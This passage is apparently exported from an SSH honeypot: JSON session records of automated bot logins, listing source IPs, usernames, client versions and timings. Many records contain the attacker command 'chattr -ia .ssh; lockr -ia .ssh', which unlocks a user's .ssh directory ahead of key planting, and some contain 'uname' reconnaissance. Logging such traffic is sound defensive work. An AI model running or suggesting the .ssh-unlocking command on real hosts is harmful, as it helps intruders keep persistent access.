  "id": "9dc33e9e-6f0d-4d60-940a-94ecf7d2212a",
  "name": "calm-slender-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 39344,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:02:01.018121+00:00",
  "ended_at": "2026-08-27T12:02:02.890480+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2217
 },
 {
  "id": "0fe50b1e-b29e-44ce-9f27-05b0b054f9f2",
  "name": "tidal-rambling-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 53516,
  "username": "ardi",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:57.742331+00:00",
  "ended_at": "2026-08-27T12:01:59.516001+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b80db9f3-99db-4651-b0b4-e9509ad6bd0b",
  "name": "keen-somber-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 53502,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:55.710461+00:00",
  "ended_at": "2026-08-27T12:01:57.156269+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8b5b1f7-985f-455c-897b-93f738cc92be",
  "name": "barren-blithe-chinchilla",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59414,
  "username": "git",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:50.046578+00:00",
  "ended_at": "2026-08-27T12:01:51.729475+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0abfd767-a703-4ead-b8f0-31545e8e06bf",
  "name": "gilded-tender-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59406,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:48.495024+00:00",
  "ended_at": "2026-08-27T12:01:49.139000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ac0de0f-d884-4efe-8f73-d57828124d90",
  "name": "oaken-subtle-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 39362,
  "username": "debian",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:44.181600+00:00",
  "ended_at": "2026-08-27T12:01:45.933458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9eb4222a-9c43-4925-8294-507bf7cec108",
  "name": "lunar-vaulted-dolphin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 39356,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:41.614716+00:00",
  "ended_at": "2026-08-27T12:01:43.494834+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "277223f0-9f90-4543-a181-25ee76d69c5a",
  "name": "fringed-dutiful-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 37738,
  "username": "justin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 884,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:01:33.949650+00:00",
  "ended_at": "2026-08-27T12:01:34.167340+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "d2c5cdfc-67aa-4c21-b0e9-b364bc081355",
  "name": "glacial-diligent-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 54546,
  "username": "web",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 265,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:01:29.961194+00:00",
  "ended_at": "2026-08-27T12:01:31.230450+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "cea82a4d-f675-4ee9-8a87-3033d10dbbfb",
  "name": "wooded-gilded-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 54564,
  "username": "web",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:06.075675+00:00",
  "ended_at": "2026-08-27T12:01:07.824013+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8d2b2667-430e-464d-8694-8c747297d5b9",
  "name": "velvet-loyal-kiwi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 54554,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:01:04.130265+00:00",
  "ended_at": "2026-08-27T12:01:05.555064+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53b84977-5d1f-495c-9108-74efdc695480",
  "name": "primal-early-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 41662,
  "username": "azureuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 734,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:00:11.645160+00:00",
  "ended_at": "2026-08-27T12:00:13.363660+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2248
 },
 {
  "id": "7fdbcea8-d5b0-44bc-bde7-8f0f9ea61396",
  "name": "cosmic-subtle-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 54752,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:00:01.262277+00:00",
  "ended_at": "2026-08-27T12:00:02.719823+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "e1fa51d8-9fef-4b9a-be27-f43984500b82",
  "name": "granite-eager-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 56422,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:00:00.688825+00:00",
  "ended_at": "2026-08-27T12:00:02.199792+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2201
 },
 {
  "id": "7b3c1ac6-0fbe-494a-a1d1-ce47a88af53d",
  "name": "jolly-autumn-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 36482,
  "username": "azureuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:48.336665+00:00",
  "ended_at": "2026-08-27T11:59:50.022368+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "46c3921e-8162-47c5-9af8-eb39b3302217",
  "name": "knotted-hazel-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 36874,
  "username": "camera",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:46.737085+00:00",
  "ended_at": "2026-08-27T11:59:47.402414+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "526151f3-fbba-47e2-8a5c-03def18810bb",
  "name": "woven-knotted-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 56438,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:44.878494+00:00",
  "ended_at": "2026-08-27T11:59:46.136910+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2af69363-90b8-462c-bf3e-f82b222e2eab",
  "name": "brisk-seaward-civet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 41676,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:44.652421+00:00",
  "ended_at": "2026-08-27T11:59:46.578851+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90d3daf2-43a3-43e2-88a2-35b7360d1a22",
  "name": "vaulted-gleaming-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 54758,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:37.915882+00:00",
  "ended_at": "2026-08-27T11:59:39.007733+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d092b50c-e976-4a30-89ce-7cb84ef19492",
  "name": "wooded-autumn-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 54756,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:36.069921+00:00",
  "ended_at": "2026-08-27T11:59:37.261014+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fdc83405-d69b-4c4d-97a4-88a93d5b90cd",
  "name": "foggy-hearty-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55200,
  "username": "ben",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 267,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:59:30.677901+00:00",
  "ended_at": "2026-08-27T11:59:32.432505+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "82b21af0-6317-4ca6-aa7a-7690d2eea1b4",
  "name": "nautical-glassy-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59356,
  "username": "harsh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 454,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:59:14.999710+00:00",
  "ended_at": "2026-08-27T11:59:16.189008+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2258
 },
 {
  "id": "86a4ec53-f973-4dbb-8614-53cf64acc24e",
  "name": "deft-coral-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36256,
  "username": "ben",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:07.008213+00:00",
  "ended_at": "2026-08-27T11:59:08.098293+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d1beab54-cc7a-4595-b7da-b7c70b5458be",
  "name": "grassy-nautical-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55210,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:59:05.097474+00:00",
  "ended_at": "2026-08-27T11:59:06.488055+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1e21161f-7236-4769-a374-e3f221f62d8b",
  "name": "faded-gentle-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59376,
  "username": "harsh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:58:57.037175+00:00",
  "ended_at": "2026-08-27T11:58:58.644797+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d003f5fd-a94b-43d3-87ea-606eb4fad8d8",
  "name": "lawful-placid-badger",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59370,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:58:55.300119+00:00",
  "ended_at": "2026-08-27T11:58:56.113424+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8e1d6f0-4ac8-4374-8333-0fc5904084db",
  "name": "regal-amiable-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 41466,
  "username": "konica",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 852,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:58:25.229286+00:00",
  "ended_at": "2026-08-27T11:58:25.495568+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "2e00d555-5ed4-4392-8b86-81cdb972bf6e",
  "name": "lonesome-sleepy-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 33432,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 347,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:58:03.193437+00:00",
  "ended_at": "2026-08-27T11:58:05.147503+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2190
 },
 {
  "id": "d53cdf74-acd9-4bbd-83fb-b23108eed00a",
  "name": "craggy-patient-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 55448,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:58:00.026031+00:00",
  "ended_at": "2026-08-27T11:58:01.921668+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "e559eeb1-efb5-48b8-885e-353e483b85ff",
  "name": "deft-jagged-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 55462,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:44.097534+00:00",
  "ended_at": "2026-08-27T11:57:45.591452+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7bb921fe-0e4a-40f3-9136-3b556a3caeab",
  "name": "leafy-daring-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 55454,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:42.619674+00:00",
  "ended_at": "2026-08-27T11:57:43.509520+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d83ec82-8178-4a96-b367-0d52f50e51ab",
  "name": "seaward-placid-oryx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 33460,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:36.702068+00:00",
  "ended_at": "2026-08-27T11:57:38.387008+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "73cd0e1b-a8e0-4021-977e-f7a813a2384d",
  "name": "canny-wiry-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 33446,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:35.322490+00:00",
  "ended_at": "2026-08-27T11:57:36.008397+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2d1fa421-ff93-4aed-aa57-06924028b8a9",
  "name": "inland-tranquil-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 39950,
  "username": "arthur",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:57:29.746128+00:00",
  "ended_at": "2026-08-27T11:57:31.557802+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "aae1788c-398f-4c09-8467-32195a70a5c0",
  "name": "amber-tidal-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 45858,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 732,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:57:25.006006+00:00",
  "ended_at": "2026-08-27T11:57:26.484519+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7c362d85-b641-426e-aa09-6d60c10a94da",
  "name": "smoky-sandy-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39964,
  "username": "arthur",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:12.013679+00:00",
  "ended_at": "2026-08-27T11:57:12.726570+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c8b33759-9325-4cea-8f61-beaba05db7ab",
  "name": "crystal-frank-cheetah",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 39956,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:10.655662+00:00",
  "ended_at": "2026-08-27T11:57:11.490538+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "884da7d8-fc5b-4176-97b4-118a783aff2e",
  "name": "drifting-tidal-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34570,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:57:03.217714+00:00",
  "ended_at": "2026-08-27T11:57:04.382131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e84f4345-66cc-4799-9806-fd03337cf068",
  "name": "lunar-fringed-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 34568,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:56:59.988458+00:00",
  "ended_at": "2026-08-27T11:57:01.483515+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "60aa76e5-0542-4bdd-8123-357a61fd53bf",
  "name": "silent-eager-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59312,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:56:36.170693+00:00",
  "ended_at": "2026-08-27T11:56:37.407084+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2261
 },
 {
  "id": "ed7b8d06-b462-4489-9b7c-b581da07fd15",
  "name": "orderly-placid-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59340,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:56:19.186666+00:00",
  "ended_at": "2026-08-27T11:56:20.542962+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "23209ee0-3899-49f1-8e17-50cdf120868f",
  "name": "vigilant-hazel-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59324,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:56:17.040024+00:00",
  "ended_at": "2026-08-27T11:56:18.296530+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "49ccb497-05db-4148-8304-2c5d508b062b",
  "name": "curious-obsidian-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 60504,
  "username": "tempuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:56:00.052498+00:00",
  "ended_at": "2026-08-27T11:56:01.489475+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2187
 },
 {
  "id": "88eaab01-6b19-4586-ab2b-498b94696841",
  "name": "glacial-lonesome-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 53458,
  "username": "cps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:55:59.814215+00:00",
  "ended_at": "2026-08-27T11:56:01.897737+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2169
 },
 {
  "id": "321a4e61-26d0-43eb-8416-0d2a81490681",
  "name": "smoky-gritty-gecko",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 45726,
  "username": "tempuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:46.592587+00:00",
  "ended_at": "2026-08-27T11:55:47.218542+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe994b3d-9e28-415f-bcb0-91f40ce61ed5",
  "name": "wistful-sterling-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 60510,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:44.188890+00:00",
  "ended_at": "2026-08-27T11:55:46.002788+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "63243633-ff5f-4182-95c2-54108ed4fed9",
  "name": "mellow-idle-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 53472,
  "username": "cps",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:42.562853+00:00",
  "ended_at": "2026-08-27T11:55:43.279273+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ab0aaa3-64c3-43f0-b940-82e7cbdef75a",
  "name": "silent-northern-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 53466,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:55:41.020328+00:00",
  "ended_at": "2026-08-27T11:55:41.910846+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d5d54b5-edc6-428e-9c7d-75a731c96b29",
  "name": "wistful-patient-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 51392,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:55:38.100034+00:00",
  "ended_at": "2026-08-27T11:55:40.302328+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "973317e6-8268-4302-b316-112434192e4f",
  "name": "watchful-vigilant-nightjar",
